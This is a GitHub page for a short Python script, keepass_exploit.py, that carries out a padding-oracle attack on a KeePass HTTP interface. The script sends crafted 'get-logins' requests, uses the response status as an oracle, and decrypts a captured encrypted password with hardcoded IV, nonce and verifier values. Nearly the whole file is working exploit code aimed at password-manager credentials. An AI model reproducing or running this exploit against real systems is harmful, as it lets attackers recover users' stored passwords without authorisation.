-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeepass_exploit.py
41 lines (34 loc) · 1.38 KB
/
keepass_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from keepass_client import Keepass
from binascii import hexlify, unhexlify
from base64 import b64encode, b64decode
from oracle import Oracle
class KeepassExploit(Keepass):
def get_login(self, url):
url = b64encode(unhexlify(url))
data = {'RequestType': 'get-logins',
'Nonce': "F0u3tT/DouyNNqaoTrAWSg==",
'Verifier': "hrj+xHVoBcB3T5Vglz83LhJbkjX9MNHn3t+yE6LCMgs=",
'Url': url,
'Id': "test mit cli tools",
'TriggerUnlock': False,
}
response = self.session.post(self.endpoint, json=data)
#print(response.text)
#print(response.status_code)
return response.status_code == 200
def oracle_padding_test():
# Testing for padding oracle attack with fix (already captured) IV+Enc(b64(IV)
k = KeepassExploit("IA==", "IA==")
for i in range(256):
cipher = 15*"A" + chr(i) + 16*"B"
print(hexlify(cipher)[:32], hexlify(cipher)[-32:])
if k.get_login(b64encode(cipher)):
print("Got our oracle. No Padding Exception for %s" % hex(i))
break
def oracle_padding_exploit():
password_enc = "NHKCHdnZOW/NXhBkj0F+8Q=="
iv = "h47M5jy6R7AOaki5graXmg=="
k = KeepassExploit("IA==", "IA==")
Oracle(hexlify(b64decode(password_enc)), 16, k.get_login, hexlify(b64decode(iv)))
#oracle_padding_test()
oracle_padding_exploit()